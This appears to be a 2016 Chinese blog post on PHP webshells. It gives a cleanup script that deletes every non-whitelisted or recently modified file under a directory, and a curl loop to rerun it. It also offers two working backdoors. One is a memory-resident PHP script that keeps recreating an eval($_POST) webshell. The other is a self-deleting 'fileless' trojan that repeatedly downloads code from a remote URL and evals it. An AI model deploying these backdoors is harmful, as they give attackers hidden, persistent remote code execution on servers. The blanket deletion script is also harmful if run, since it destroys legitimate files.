您的位置:首页 > 运维架构 > Shell

php webshell删与防脚本

2016-04-17 21:37 543 查看
php删除webshell脚本,根据文件名,文件内容,文件的修改时间删除,可以暴力点,只要是新上传,新修改的文件,一律删除,代码自己修改

<?php
function filter($file) {
// 网页白名单
$whiteList = array('rois.php','hello.php');

//获取当前相对路径
$url = $_SERVER['PHP_SELF'];

//获取文件名
$filename= substr($url , strrpos($url , '/')+1 );

//不删除本文件
if ($file == $filename){
return false;
}

//在白名单中则不过滤
if (in_array($file, $whiteList)){
return false;
}

//读取文件内容
@$fp = fopen($file,'r');
@$buf = fread($fp, 512);
@fclose($fp);

//包含关键字不过滤
if (stristr($buf , 'hehehe')){
return false;
}

return true;
}

function delNewInput($old, $new) {
if (filemtime($new) > filemtime($old)) {
return true;
}
return false;
}

function delFileFromDir($dir) {
//判断是否是目录
if (!is_dir($dir)) {
return false;
}

//获取当前相对路径
$url = $_SERVER['PHP_SELF'];

//获取文件名
$filename = substr($url , strrpos($url , '/')+1);

//打开目录
$handle = opendir($dir);
while (($file = readdir($handle)) !== false) {
//排除掉当前目录和上一个目录
if ($file == "." || $file == "..") {
continue;
}

$fullPath = $dir . "/". $file;

//如果是文件且不符合过滤规则或者是新上传就删除,否则递归调用
if ((is_file($fullPath) && filter($file)) || (is_file($fullPath) && delNewInput($filename, $fullPath))) {
print "Have deled ".$file . '<br />';
unlink($fullPath);
}
elseif (is_dir($fullPath)) {
delFileFromDir($fullPath);
}
}
}

$dir = '.';
delFileFromDir($dir);
?>

如果想循环删除,可以写个sh脚本

#!/bin/sh

while :
do
curl http://test.com/defFile.php done

 

php防删木马,驻留在内存中,当文件不存在,就自动生成,只有服务器重启,脚本才停止运行

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = './hehehe.php';
$code = '<?php @eval($_POST[test321]); ?>';

while (1){
if(!file_exists($file)){
file_put_contents($file,$code);
}
usleep(50);
}
?>

 

php无文件木马,在一开始便把自身删除,主流在内存里,优点是无法查看到木马,缺点是重启以后木马就不在了

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/xxx.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};

?>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: